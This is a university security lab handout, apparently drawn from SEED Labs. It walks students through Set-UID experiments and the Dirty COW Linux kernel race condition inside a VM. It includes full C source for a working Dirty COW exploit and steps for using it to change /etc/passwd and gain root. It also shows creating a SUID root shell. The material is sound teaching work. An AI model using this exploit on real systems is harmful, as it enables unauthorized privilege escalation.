

## Lab Setup

1. Install Oracle VirtualBox
2. Download VM SEEDUbuntu12.04.zip file either directly from the seed labs [http://www.cis.syr.edu/~wedu/seed/lab\\_env.html](http://www.cis.syr.edu/~wedu/seed/lab_env.html) OR from the ISRDC server <http://vtp.isrdc.iitb.ac.in/pe/>
3. Extract the zip file
4. Install the VM on the VirtualBox
  - (a) Open VirtualBox
  - (b) Click on New
  - (c) Name:seed Type: Linux Version:Ubuntu(64 bit)
  - (d) Memory Size 1024MB
  - (e) Hard disk: "Use an existing virtual hard disk file".Click on the folder icon below this option and select the extracted Virtual Machine Disk file "SEEDUbuntu12.04"
  - (f) Click on Start icon on the VirtualBox to run the VM.
  - (g) username: seed password:dees
  - (h) root password: seedubuntu

## Exercise 1: SUID

Set-UID is an important security mechanism in Unix operating systems. When a Set-UID program is run, it assumes the owners privileges. For example, if the programs owner is root, then when anyone runs this program, the program gains the roots privileges during its execution. Set-UID allows us to do many interesting things, but unfortunately, it is also the culprit of many bad things. Therefore, the objective of this lab is two-fold: (1) Appreciate its good side: understand why Set-UID is needed and how it is implemented. (2) Be aware of its bad side: understand its potential security problems.

This is an exploration lab. Your main task is to play with the Set-UID mechanism in Linux. You are required to accomplish the following tasks in Linux:

1. Figure out why "passwd", "chsh", "su", and "sudo" commands need to be Set-UID programs. What will happen if they are not? If you are not familiar with these programs, you should first learn what they can do by reading their manuals.
  - (a) Copy *passwd* file to your home directory

```
$cp /usr/bin/passwd ~/mypasswd
```

- (b) Add execution permission

```
$cd ~/
$chmod 755 mypasswd
```

- (c) You can verify the permission change using

```
$ls -l
```

- (d) Now execute this copy of the *passwd* file

```
$mypasswd
```

- (e) Before entering the current and new passwords as input, open a new terminal and check the details of the *mypasswd* process.

```
$ps -aux
```

- (f) Enter the inputs for *mypasswd* command and observe the outcome.

- (g) Now execute the *passwd* command

```
$passwd
```

- (h) Check the *passwd* process details using `ps -aux` in a separate terminal.

- (i) Observe the difference in the process details as well as the outcome of the two processes.

## 2. Run Set-UID shell programs in Linux

- (a) Login as root

```
$su
```

- (b) copy `/bin/zsh` to `/tmp`

- (c) Set the `suid`

```
$chmod 4755 /tmp/zsh
```

- (d) Login as normal user

- (e) run `/tmp/zsh`

- (f) Check whether you have the root privilege by using `whoami` command

- (g) Repeat the same procedure for `/bin/bash`

- (h) Observe the difference

## Exercise 2: Dirty COW Attack

The Dirty COW vulnerability is an interesting case of the race condition vulnerability. It existed in the Linux kernel since September 2007, and was discovered and exploited in October 2016. The vulnerability affects all Linux-based operating systems, including Android, and its consequence is very severe: attackers can gain the root privilege by exploiting the vulnerability. The vulnerability resides in the code of copy-onwrite inside Linux kernel. By exploiting this vulnerability, attackers can modify any protected file, even though these files are only readable to them.

The objective of this lab is for students to gain the hands-on experience on the Dirty COW attack, understand the race condition vulnerability exploited by the attack, and gain a deeper understanding of the general race condition security problems. In this lab, students will exploit the Dirty COW race condition vulnerability to gain the root privilege.

### 1 Task 1: Modify a Dummy Read-Only File

The objective of this task is to write to a read-only file using the Dirty COW vulnerability.

#### 1.1 Create a Dummy File

We first need to select a target file. Although this file can be any read-only file in the system, we will use a dummy file in this task, so we do not corrupt an important system file in case we make a mistake. Please create a file called `zzz` in the root directory, change its permission to read-only for normal users, and put some random content into the file using an editor such as `gedit`.

```
$ sudo touch /zzz
$ sudo chmod 644 /zzz
$ sudo gedit /zzz
$ cat /zzz
111111222222333333
$ ls -l /zzz
$ echo 99999 > /zzz
```

From the above experiment, we can see that if we try to write to this file as a normal user, we will fail, because the file is only readable to normal users. However, because of the Dirty COW vulnerability in the system, we can find a way to write to this file. Our objective is to replace the pattern "222222" with "\*\*\*\*\*".

#### 1.2 Set Up the Memory Mapping Thread

You can download the program `cow_attack.c` either from seed labs [http://www.cis.syr.edu/~wedu/seed/Labs\\_12.04/Software/Dirty\\_COW/](http://www.cis.syr.edu/~wedu/seed/Labs_12.04/Software/Dirty_COW/) or from the ISRDC server. The program has three threads: the main thread, the write thread, and the `madvise` thread. The main thread maps `/zzz` to memory, finds where the pattern "222222" is, and then creates two threads to exploit the Dirty COW race condition vulnerability in the OS kernel.

Listing 1: The main thread

```
/* cow_attack.c (the main thread) */

#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <sys/stat.h>
#include <string.h>

void *map;

int main(int argc, char *argv[])
{
    pthread_t pth1, pth2;
    struct stat st;
    int file_size;

    // Open the target file in the read-only mode.
    int f=open("/zzz", O_RDONLY);

    // Map the file to COW memory using MAP_PRIVATE.
    fstat(f, &st);
    file_size = st.st_size;
    map=mmap(NULL, file_size, PROT_READ, MAP_PRIVATE, f, 0);

    // Find the position of the target area
    char *position = strstr(map, "222222");

    // We have to do the attack using two threads.
    pthread_create(&pth1, NULL, madviseThread, (void *)file_size);
    pthread_create(&pth2, NULL, writeThread, position);

    // Wait for the threads to finish.
    pthread_join(pth1, NULL);
    pthread_join(pth2, NULL);
    return 0;
}
```

In the above code, we need to find where the pattern "222222" is. We use a string function called `strstr()` to find where "222222" is in the mapped memory (Line ①). We then start two threads: `madviseThread` (Line ②) and `writeThread` (Line ③).

### 1.3 Set Up the write Thread

The job of the `write` thread listed in the following is to replace the string "222222" in the memory with "\*\*\*\*\*". Since the mapped memory is of COW type, this thread alone will only be able to modify the contents in a copy of the mapped memory, which will not cause any change to the underlying `/zzz` file.

Listing 2: The `write` thread

```
/* cow_attack.c (the write thread) */

void *writeThread(void *arg)
{
    char *content= "*****";
    off_t offset = (off_t) arg;

    int f=open("/proc/self/mem", ORDWR);
    while(1) {
        // Move the file pointer to the corresponding position.
        lseek(f, offset, SEEK_SET);
        // Write to the memory.
        write(f, content, strlen(content));
    }
}
```

### 1.4 The madvise Thread

The `madvise` thread does only one thing: discarding the private copy of the mapped memory, so the page table can point back to the original mapped memory.

Listing 3: The `madvise` thread

```
/* cow_attack.c (the madvise thread) */

void *madviseThread(void *arg)
{
    int file_size = (int) arg;
    while(1){
        madvise(map, file_size, MADV_DONTNEED);
    }
}
```

### 1.5 Launch the Attack

If the `write()` and the `madvise()` system calls are invoked alternatively, i.e., one is invoked only after the other is finished, the `write` operation will always be performed on the private copy, and we will never be able to modify the target file. The only way for the attack to succeed is to

perform the `madvise()` system call while the `write()` system call is still running. We cannot always achieve that, so we need to try many times. As long as the probability is not extremely low, we have a chance. That is why in the threads, we run the two system calls in an infinite loop. Compile the `cow_attack.c` and run it for a few seconds. If your attack is successful, you should be able to see a modified `/zzz` file. Report your results in the lab report and explain how you are able to achieve that.

```
$ gcc cow_attack.c -lpthread
$ a.out
... press Ctrl-C after a few seconds ...
```

## 2 Task 2: Modify the Password File to Gain the Root Privilege

Now, let's launch the attack on a real system file, so we can gain the root privilege. We choose the `/etc/passwd` file as our target file. This file is world-readable, but non-root users cannot modify it. The file contains the user account information, one record for each user. Assume that our user name is `seed`. The following lines show the records for root and `seed`:

```
root:x:0:0:root:/root:/bin/bash
seed:x:1000:1000:Seed,123,,:/home/seed:/bin/bash
```

Each of the above record contains seven colon-separated fields. Our interest is on the third field, which specifies the user ID (UID) value assigned to a user. UID is the primary basis for access control in Linux, so this value is critical to security. The root user's UID field contains a special value 0; that is what makes it the superuser, not its name. Any user with UID 0 is treated by the system as root, regardless of what user name he or she has. The `seed` user's ID is only 1000, so it does not have the root privilege. However, if we can change the value to 0, we can turn it into root. We will exploit the Dirty COW vulnerability to achieve this goal.

In our experiment, we will not use the `seed` account, because this account is used for most of the experiments in this book; if we forget to change the UID back after the experiment, other experiments will be affected. Instead, we create a new account called `charlie`, and we will turn this normal user into root using the Dirty COW attack. Adding a new account can be achieved using the `adduser` command. After the account is created, a new record will be added to `/etc/passwd`. See the following:

```
$ sudo adduser charlie
...
$ cat /etc/passwd | grep charlie
charlie:x:1001:1001:,,,:/home/charlie:/bin/bash
```

We suggest that you save a copy of the `/etc/passwd` file, just in case you make a mistake and corrupt this file. An alternative is to take a snapshot of your VM before working on this lab, so you can always roll back if the VM got corrupted.

**Task:** You need to modify the `charlie`'s entry in `/etc/passwd`, so the third field is changed from 1001 to 0000, essentially turning `charlie` into a root account. The file is not writable

to `charlie`, but we can use the Dirty COW attack to write to this file. You can modify the `cow_attack.c` program from Task 1 to achieve this goal.

After your attack is successful, if you switch user to `charlie`, you should be able to see the `#` sign at the shell prompt, which is an indicator of the root shell. If you run the `id` command, you should be able to see that you have gained the root privilege.

```
seed@ubuntu$ su charlie
Passwd:
root@ubuntu# id
```

## References

- [1] SEED labs: Software Security Labs. Available at the following URL:  
[http://www.cis.syr.edu/~wedu/seed/software\\_security.html](http://www.cis.syr.edu/~wedu/seed/software_security.html).
- [2] Explaining Dirty COW local root exploit - CVE-2016-5195 (with different exploit code)  
Available at the following URL:  
<https://www.youtube.com/watch?v=kEsshExn7aE&t=588s>.